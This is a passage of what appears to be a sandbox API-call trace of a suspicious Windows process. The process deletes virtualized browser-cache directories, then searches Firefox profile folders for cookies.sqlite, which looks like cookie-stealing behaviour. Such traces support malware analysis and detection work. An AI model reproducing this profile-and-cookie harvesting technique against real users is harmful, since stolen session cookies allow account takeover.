lpFindFileData=0x9a935a0 | out: lpFindFileData=0x9a935a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc77b8d60, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xc77b8d60, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xc77b8d60, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrivacIE", cAlternateFileName="")) returned 0 [0110.620] FindClose (in: hFindFile=0x7201bd0 | out: hFindFile=0x7201bd0) returned 1 [0110.620] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a935a0 | out: hHeap=0x9770000) returned 1 [0110.620] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a93470 | out: hHeap=0x9770000) returned 1 [0110.620] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a93260 | out: hHeap=0x9770000) returned 1 [0110.620] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\virtualized\\c\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows")) returned 1 [0110.620] FindNextFileW (in: hFindFile=0x7201c30, lpFindFileData=0x9a93000 | out: lpFindFileData=0x9a93000*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc77b8d60, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xc77b8d60, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xc77b8d60, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="Windows", cAlternateFileName="")) returned 0 [0110.620] FindClose (in: hFindFile=0x7201c30 | out: hFindFile=0x7201c30) returned 1 [0110.620] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a93000 | out: hHeap=0x9770000) returned 1 [0110.620] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a92ee0 | out: hHeap=0x9770000) returned 1 [0110.620] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a92cd0 | out: hHeap=0x9770000) returned 1 [0110.620] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\virtualized\\c\\users\\aetadzjz\\appdata\\roaming\\microsoft")) returned 1 [0110.621] FindNextFileW (in: hFindFile=0x7201c90, lpFindFileData=0x9a92a70 | out: lpFindFileData=0x9a92a70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc7792c00, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xc77b8d60, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xc77b8d60, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0110.621] FindClose (in: hFindFile=0x7201c90 | out: hFindFile=0x7201c90) returned 1 [0110.621] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a92a70 | out: hHeap=0x9770000) returned 1 [0110.621] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a92970 | out: hHeap=0x9770000) returned 1 [0110.621] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a92760 | out: hHeap=0x9770000) returned 1 [0110.621] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\aETAdzjz\\AppData\\Roaming" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\virtualized\\c\\users\\aetadzjz\\appdata\\roaming")) returned 1 [0110.621] FindNextFileW (in: hFindFile=0x7201cf0, lpFindFileData=0x9a92500 | out: lpFindFileData=0x9a92500*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc7792c00, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xc7792c00, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xc7792c00, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 0 [0110.621] FindClose (in: hFindFile=0x7201cf0 | out: hFindFile=0x7201cf0) returned 1 [0110.621] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a92500 | out: hHeap=0x9770000) returned 1 [0110.621] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a92410 | out: hHeap=0x9770000) returned 1 [0110.621] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a92200 | out: hHeap=0x9770000) returned 1 [0110.621] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\aETAdzjz\\AppData" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\virtualized\\c\\users\\aetadzjz\\appdata")) returned 1 [0110.621] FindNextFileW (in: hFindFile=0x7201d50, lpFindFileData=0x9a91fa0 | out: lpFindFileData=0x9a91fa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc7792c00, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xc7792c00, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xc7792c00, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="AppData", cAlternateFileName="")) returned 0 [0110.622] FindClose (in: hFindFile=0x7201d50 | out: hFindFile=0x7201d50) returned 1 [0110.622] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a91fa0 | out: hHeap=0x9770000) returned 1 [0110.622] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a91ec0 | out: hHeap=0x9770000) returned 1 [0110.622] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a91cb0 | out: hHeap=0x9770000) returned 1 [0110.622] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\aETAdzjz" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\virtualized\\c\\users\\aetadzjz")) returned 1 [0110.622] FindNextFileW (in: hFindFile=0x72028f0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc7792c00, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xc7792c00, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xc7792c00, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="aETAdzjz", cAlternateFileName="")) returned 0 [0110.622] FindClose (in: hFindFile=0x72028f0 | out: hFindFile=0x72028f0) returned 1 [0110.622] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a91a50 | out: hHeap=0x9770000) returned 1 [0110.622] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6fe70 | out: hHeap=0x9770000) returned 1 [0110.622] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a91840 | out: hHeap=0x9770000) returned 1 [0110.622] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\virtualized\\c\\users")) returned 1 [0110.622] FindNextFileW (in: hFindFile=0x7202530, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc7792c00, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xc7792c00, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xc7792c00, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x490056, dwReserved1=0x490053, cFileName="Users", cAlternateFileName="")) returned 0 [0110.622] FindClose (in: hFindFile=0x7202530 | out: hFindFile=0x7202530) returned 1 [0110.622] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6fc10 | out: hHeap=0x9770000) returned 1 [0110.623] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e690 | out: hHeap=0x9770000) returned 1 [0110.623] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6fa00 | out: hHeap=0x9770000) returned 1 [0110.623] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\virtualized\\c")) returned 1 [0110.623] FindNextFileW (in: hFindFile=0x72013f0, lpFindFileData=0x9a6e430 | out: lpFindFileData=0x9a6e430*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc7792c00, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xc7792c00, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xc7792c00, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="C", cAlternateFileName="")) returned 0 [0110.623] FindClose (in: hFindFile=0x72013f0 | out: hFindFile=0x72013f0) returned 1 [0110.623] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e430 | out: hHeap=0x9770000) returned 1 [0110.623] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9770f10 | out: hHeap=0x9770000) returned 1 [0110.623] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e220 | out: hHeap=0x9770000) returned 1 [0110.623] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\virtualized")) returned 1 [0110.623] FindNextFileW (in: hFindFile=0x4466880, lpFindFileData=0x9770cb0 | out: lpFindFileData=0x9770cb0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x233a9760, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0xc7792c00, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xc7792c00, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="Virtualized", cAlternateFileName="VIRTUA~1")) returned 0 [0110.623] FindClose (in: hFindFile=0x4466880 | out: hFindFile=0x4466880) returned 1 [0110.623] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9770cb0 | out: hHeap=0x9770000) returned 1 [0110.623] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e990 | out: hHeap=0x9770000) returned 1 [0110.623] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e010 | out: hHeap=0x9770000) returned 1 [0110.623] lstrlenA (lpString="%APPDATA%") returned 9 [0110.623] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9770cb0 [0110.623] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\Mozilla\\Firefox\\Profiles", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x3b [0110.623] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x76) returned 0x9770f10 [0110.624] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\Mozilla\\Firefox\\Profiles", lpDst=0x9770f10, nSize=0x3b | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned 0x3b [0110.624] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned 58 [0110.624] lstrlenW (lpString="cookies.sqlite") returned 14 [0110.624] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9b6fa00 [0110.624] PathCombineW (in: pszDest=0x9b6fa00, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles", pszFile="cookies.sqlite" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\cookies.sqlite") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\cookies.sqlite" [0110.624] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\cookies.sqlite", lpFindFileData=0x9770cb0 | out: lpFindFileData=0x9770cb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="VIRTUA~1")) returned 0xffffffffffffffff [0110.624] PathCombineW (in: pszDest=0x9b6fa00, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*" [0110.624] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*", lpFindFileData=0x9770cb0 | out: lpFindFileData=0x9770cb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3cfa0c70, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x3cfa0c70, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x3cfa0c70, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4466880 [0110.624] FindNextFileW (in: hFindFile=0x4466880, lpFindFileData=0x9770cb0 | out: lpFindFileData=0x9770cb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3cfa0c70, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x3cfa0c70, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x3cfa0c70, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0110.624] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0110.624] FindNextFileW (in: hFindFile=0x4466880, lpFindFileData=0x9770cb0 | out: lpFindFileData=0x9770cb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3cfa0c70, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xe1ffc750, ftLastAccessTime.dwHighDateTime=0x1d51ed4, ftLastWriteTime.dwLowDateTime=0xe1ffc750, ftLastWriteTime.dwHighDateTime=0x1d51ed4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3y2joh8o.default", cAlternateFileName="3Y2JOH~1.DEF")) returned 1 [0110.624] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0110.624] lstrlenW (lpString="3y2joh8o.default") returned 16 [0110.624] PathCombineW (in: pszDest=0x9b6fa00, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles", pszFile="3y2joh8o.default" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default" [0110.624] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9b6fc10 [0110.624] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x4c [0110.624] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x98) returned 0x9a6e990 [0110.624] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default", lpDst=0x9a6e990, nSize=0x4c | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default") returned 0x4c [0110.624] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default") returned 75 [0110.624] lstrlenW (lpString="cookies.sqlite") returned 14 [0110.624] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e010 [0110.624] PathCombineW (in: pszDest=0x9a6e010, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default", pszFile="cookies.sqlite" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\cookies.sqlite") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\cookies.sqlite" [0110.624] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\cookies.sqlite", lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x402f6de0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x402f6de0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0xf35d3740, ftLastWriteTime.dwHighDateTime=0x1d30616, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="cookies.sqlite", cAlternateFileName="COOKIE~1.SQL")) returned 0x44668e0 [0110.624] lstrlenW (lpString="cookies.sqlite") returned 14 [0110.625] lstrlenW (lpString="cookies.sqlite") returned 14 [0110.625] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x122) returned 0x9b6fe70 [0110.625] wcscpy (in: _Dest=0x9b6fe98, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default" [0110.625] StrRChrW (lpStart="cookies.sqlite", lpEnd=0x0, wMatch=0x9b6005c) returned 0x0 [0110.625] PathCombineW (in: pszDest=0x9b6fe98, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default", pszFile="cookies.sqlite" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\cookies.sqlite") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\cookies.sqlite" [0110.625] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x402f6de0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x402f6de0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0xf35d3740, ftLastWriteTime.dwHighDateTime=0x1d30616, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="cookies.sqlite", cAlternateFileName="COOKIE~1.SQL")) returned 0 [0110.625] FindClose (in: hFindFile=0x44668e0 | out: hFindFile=0x44668e0) returned 1 [0110.625] PathCombineW (in: pszDest=0x9a6e010, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\*" [0110.625] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\*", lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3cfa0c70, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xe1ffc750, ftLastAccessTime.dwHighDateTime=0x1d51ed4, ftLastWriteTime.dwLowDateTime=0xe1ffc750, ftLastWriteTime.dwHighDateTime=0x1d51ed4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x44668e0 [0110.625] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3cfa0c70, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xe1ffc750, ftLastAccessTime.dwHighDateTime=0x1d51ed4, ftLastWriteTime.dwLowDateTime=0xe1ffc750, ftLastWriteTime.dwHighDateTime=0x1d51ed4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0110.625] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0110.625] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4219c920, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x4219c920, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x4219c920, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x0, dwReserved1=0x0, cFileName="addons.json", cAlternateFileName="ADDONS~1.JSO")) returned 1 [0110.625] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0110.625] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3f925320, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xf33be400, ftLastAccessTime.dwHighDateTime=0x1d30616, ftLastWriteTime.dwLowDateTime=0xf33be400, ftLastWriteTime.dwHighDateTime=0x1d30616, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bookmarkbackups", cAlternateFileName="BOOKMA~1")) returned 1 [0110.625] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0110.625] lstrlenW (lpString="bookmarkbackups") returned 15 [0110.625] PathCombineW (in: pszDest=0x9a6e010, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default", pszFile="bookmarkbackups" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\bookmarkbackups") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\bookmarkbackups" [0110.625] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a6e220 [0110.625] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\bookmarkbackups", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x5c [0110.625] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xb8) returned 0x9a6e480 [0110.625] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\bookmarkbackups", lpDst=0x9a6e480, nSize=0x5c | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\bookmarkbackups") returned 0x5c [0110.625] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\bookmarkbackups") returned 91 [0110.625] lstrlenW (lpString="cookies.sqlite") returned 14 [0110.625] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e540 [0110.625] PathCombineW (in: pszDest=0x9a6e540, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\bookmarkbackups", pszFile="cookies.sqlite" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\bookmarkbackups\\cookies.sqlite") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\bookmarkbackups\\cookies.sqlite" [0110.625] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\bookmarkbackups\\cookies.sqlite", lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="AppDC")) returned 0xffffffffffffffff [0110.628] PathCombineW (in: pszDest=0x9a6e540, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\bookmarkbackups", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\bookmarkbackups\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\bookmarkbackups\\*" [0110.628] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\bookmarkbackups\\*", lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3f925320, 